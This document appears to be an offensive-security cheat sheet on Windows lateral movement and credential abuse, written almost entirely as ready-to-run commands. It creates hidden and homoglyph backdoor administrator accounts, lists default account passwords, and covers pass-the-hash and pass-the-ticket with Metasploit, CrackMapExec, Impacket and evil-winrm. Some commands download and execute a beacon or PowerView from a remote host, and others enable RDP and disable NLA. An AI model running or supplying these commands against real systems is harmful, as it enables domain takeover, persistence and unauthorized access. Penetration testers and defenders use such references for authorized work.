## TIPS
|
||
|
||
### TIP 1 - Create your credential
|
||
|
||
```powershell
|
||
net user hacker Hcker_12345678* /add /Y
|
||
net localgroup administrators hacker /add
|
||
net localgroup "Remote Desktop Users" hacker /add # RDP access
|
||
net localgroup "Backup Operators" hacker /add # Full access to files
|
||
net group "Domain Admins" hacker /add /domain
|
||
|
||
# enable a domain user account
|
||
net user hacker /ACTIVE:YES /domain
|
||
|
||
# prevent users from changing their password
|
||
net user username /Passwordchg:No
|
||
|
||
# prevent the password to expire
|
||
net user hacker /Expires:Never
|
||
|
||
# create a machine account (not shown in net users)
|
||
net user /add evilbob$ evilpassword
|
||
|
||
# homoglyph Aԁmіnistratοr (different of Administrator)
|
||
Aԁmіnistratοr
|
||
```
|
||
|
||
Some info about your user
|
||
|
||
```powershell
|
||
net user /dom
|
||
net user /domain
|
||
```
|
||
|
||
### TIP 2 - Retail Credential
|
||
|
||
Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289)
|
||
|
||
when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin
|
||
|
||
```powershell
|
||
Username: RetailAdmin
|
||
Password: trs10
|
||
```
|
||
|
||
### TIP 3 - Sandbox Credential - WDAGUtilityAccount
|
||
|
||
WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608)
|
||
|
||
Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard
|
||
|
||
```powershell
|
||
\\windowssandbox
|
||
Username: wdagutilityaccount
|
||
Password: pw123
|
||
```
|
||
|
||
|
||
## Metasploit
|
||
|
||
### Metasploit - SMB
|
||
|
||
```c
|
||
use auxiliary/scanner/smb/smb_login
|
||
set SMBDomain DOMAIN
|
||
set SMBUser username
|
||
set SMBPass password
|
||
services -p 445 -R
|
||
run
|
||
creds
|
||
```
|
||
|
||
### Metasploit - Psexec
|
||
|
||
Note: the password can be replaced by a hash to execute a `pass the hash` attack.
|
||
|
||
```c
|
||
use exploit/windows/smb/psexec
|
||
set RHOST 10.2.0.3
|
||
set SMBUser username
|
||
set SMBPass password
|
||
set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
|
||
set PAYLOAD windows/meterpreter/bind_tcp
|
||
run
|
||
shell
|
||
```
|
||
|
||
## Crackmapexec
|
||
|
||
```powershell
|
||
root@payload$ git clone https://github.com/byt3bl33d3r/CrackMapExec.github
|
||
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -x 'whoami' # cmd
|
||
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -X 'whoami' # powershell
|
||
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method atexec -x 'whoami'
|
||
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method wmiexec -x 'whoami'
|
||
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -x 'whoami'
|
||
```
|
||
|
||
## Remote Code Execution with PS Credentials
|
||
|
||
```powershell
|
||
PS C:\> $SecPassword = ConvertTo-SecureString 'secretpassword' -AsPlainText -Force
|
||
PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\USERNAME', $SecPassword)
|
||
PS C:\> Invoke-Command -ComputerName DC01 -Credential $Cred -ScriptBlock {whoami}
|
||
PS C:\> New-PSSESSION -NAME PSDC -ComputerName COMPUTER01; Invoke-Command -ComputerName COMPUTER01 -ScriptBlock {whoami}
|
||
PS C:\> Invoke-Command -ComputerName COMPUTER01 -ScriptBlock {powershell Invoke-WebRequest -Uri 'http://10.10.10.10/beacon.exe' -OutFile 'C:\Temp\beacon.exe'; Start-Process -wait C:\Temp\beacon.exe}
|
||
```
|
||
|
||
## WinRM
|
||
|
||
Require:
|
||
* Port **5985** or **5986** open.
|
||
* Default endpoint is **/wsman**
|
||
|
||
```powershell
|
||
root@payload$ git clone https://github.com/Hackplayers/evil-winrm
|
||
root@payload$ evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM]
|
||
root@payload$ ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
|
||
root@payload$ ruby evil-winrm.rb -i 10.0.0.20 -u username -H BD1C6503987F8FF006296118F359FA79
|
||
root@payload$ ruby evil-winrm.rb -i 10.0.0.20 -u username -p password -r domain.local
|
||
|
||
*Evil-WinRM* PS > Bypass-4MSI
|
||
*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1"))
|
||
```
|
||
|
||
or using a custom ruby code to interact with the WinRM service.
|
||
|
||
```ruby
|
||
require 'winrm'
|
||
|
||
conn = WinRM::Connection.new(
|
||
endpoint: 'http://ip:5985/wsman',
|
||
user: 'domain/user',
|
||
password: 'password',
|
||
)
|
||
|
||
command=""
|
||
conn.shell(:powershell) do |shell|
|
||
until command == "exit\n" do
|
||
print "PS > "
|
||
command = gets
|
||
output = shell.run(command) do |stdout, stderr|
|
||
STDOUT.print stdout
|
||
STDERR.print stderr
|
||
end
|
||
end
|
||
puts "Exiting with code #{output.exitcode}"
|
||
end
|
||
```
|
||
|
||
|
||
## Powershell Remoting
|
||
|
||
> PSSESSION
|
||
|
||
```powershell
|
||
PS> Enable-PSRemoting
|
||
|
||
# use credential
|
||
PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
|
||
PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username', $pass)
|
||
PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
|
||
|
||
# one-to-one interactive session
|
||
PS> Enter-PSSession -computerName DC01
|
||
[DC01]: PS>
|
||
|
||
# one-to-one execute scripts and commands
|
||
PS> $Session = New-PSSession -ComputerName CLIENT1
|
||
PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 }
|
||
PS> Invoke-Command -Session $Session -scriptBlock { $test }
|
||
1
|
||
|
||
# one-to-many execute scripts and commands
|
||
PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service }
|
||
PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1
|
||
```
|
||
|
||
|
||
## Winexe
|
||
|
||
Integrated to Kali
|
||
|
||
```powershell
|
||
root@payload$ winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe
|
||
```
|
||
|
||
## WMI
|
||
|
||
```powershell
|
||
PS C:\> wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
|
||
```
|
||
|
||
## Psexec.py / Smbexec.py / Wmiexec.py
|
||
|
||
From [Impacket](https://github.com/SecureAuthCorp/impacket) (:warning: renamed to impacket-xxx in Kali)
|
||
:warning: `get` / `put` for wmiexec, psexec, smbexec, and dcomexec are changing to `lget` and `lput`.
|
||
:warning: French characters might not be correctly displayed on your output, use `-codec ibm850` to fix this.
|
||
|
||
```powershell
|
||
root@payload$ git clone https://github.com/CoreSecurity/impacket.git
|
||
|
||
# PSEXEC like functionality example using RemComSv
|
||
root@payload$ python psexec.py DOMAIN/username:password@10.10.10.10
|
||
# this will drop a binary on the disk = noisy
|
||
|
||
# A similar approach to PSEXEC w/o using RemComSvc
|
||
root@payload$ python smbexec.py DOMAIN/username:password@10.10.10.10
|
||
|
||
# A semi-interactive shell, used through Windows Management Instrumentation.
|
||
root@payload$ python wmiexec.py DOMAIN/username:password@10.10.10.10
|
||
root@payload$ wmiexec.py domain.local/user@10.0.0.20 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
|
||
|
||
# A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints.
|
||
root@payload$ python atexec.py DOMAIN/username:password@10.10.10.10
|
||
|
||
# Executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
|
||
root@payload$ python dcomexec.py DOMAIN/username:password@10.10.10.10
|
||
```
|
||
|
||
## PsExec - Sysinternal
|
||
|
||
from Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)
|
||
|
||
```powershell
|
||
PS C:\> PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe
|
||
|
||
# switch admin user to NT Authority/System
|
||
PS C:\> PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s
|
||
```
|
||
|
||
## RDP Remote Desktop Protocol
|
||
|
||
:warning: **NOTE**: You may need to enable RDP and disable NLA and fix CredSSP errors.
|
||
|
||
```powershell
|
||
# Enable RDP
|
||
PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
|
||
PS C:\> netsh firewall set service remoteadmin enable
|
||
PS C:\> netsh firewall set service remotedesktop enable
|
||
# Alternative
|
||
C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
|
||
root@payload$ crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
|
||
|
||
# Fix CredSSP errors
|
||
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
|
||
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
|
||
|
||
# Disable NLA
|
||
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
|
||
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
|
||
```
|
||
|
||
Abuse RDP protocol to execute commands remotely with the following commands;
|
||
|
||
* `rdesktop`
|
||
```powershell
|
||
root@payload$ rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
|
||
root@payload$ rdesktop -u username -p password -g 70% -r disk:share=/tmp/myshare 10.10.10.10
|
||
# -g : the screen will take up 70% of your actual screen size
|
||
# -r disk:share : sharing a local folder during a remote desktop session
|
||
```
|
||
* `freerdp`
|
||
```powershell
|
||
root@payload$ xfreerdp /v:10.0.0.1 /u:'Username' /p:'Password123!' +clipboard /cert-ignore /size:1366x768 /smart-sizing
|
||
root@payload$ xfreerdp /v:10.0.0.1 /u:username # password will be asked
|
||
|
||
# pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
|
||
# pass the hash works for Server 2012 R2 / Win 8.1+
|
||
# require freerdp2-x11 freerdp2-shadow-x11 packages instead of freerdp-x11
|
||
root@payload$ xfreerdp /v:10.0.0.1 /u:username /d:domain /pth:88a405e17c0aa5debbc9b5679753939d
|
||
```
|
||
* [SharpRDP](https://github.com/0xthirteen/SharpRDP)
|
||
```powershell
|
||
PS C:\> SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
|
||
```
|
||
|
||
|
||
## Netuse
|
||
|
||
Windows only
|
||
|
||
```powershell
|
||
PS C:\> net use \\ordws01.cscou.lab /user:DOMAIN\username password C$
|
||
```
|
||
|
||
## Runas
|
||
|
||
```powershell
|
||
PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe"
|
||
PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe
|
||
```
|
||
|
||
## Pass the Ticket
|
||
|
||
```powershell
|
||
python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user
|
||
[*] Saving ticket in user.ccache
|
||
cp user.ccache /tmp/krb5cc_0
|
||
export KRB5CCNAME=/tmp/krb5cc_0
|
||
klist
|
||
```
|
||
|
||
## SSH
|
||
|
||
:warning: You cannot pass the hash to SSH, but you can connect with a Kerberos ticket (Which you can get by passing the hash!)
|
||
|
||
```ps1
|
||
cp user.ccache /tmp/krb5cc_1045
|
||
ssh -o GSSAPIAuthentication=yes user@domain.local -vv
|
||
```
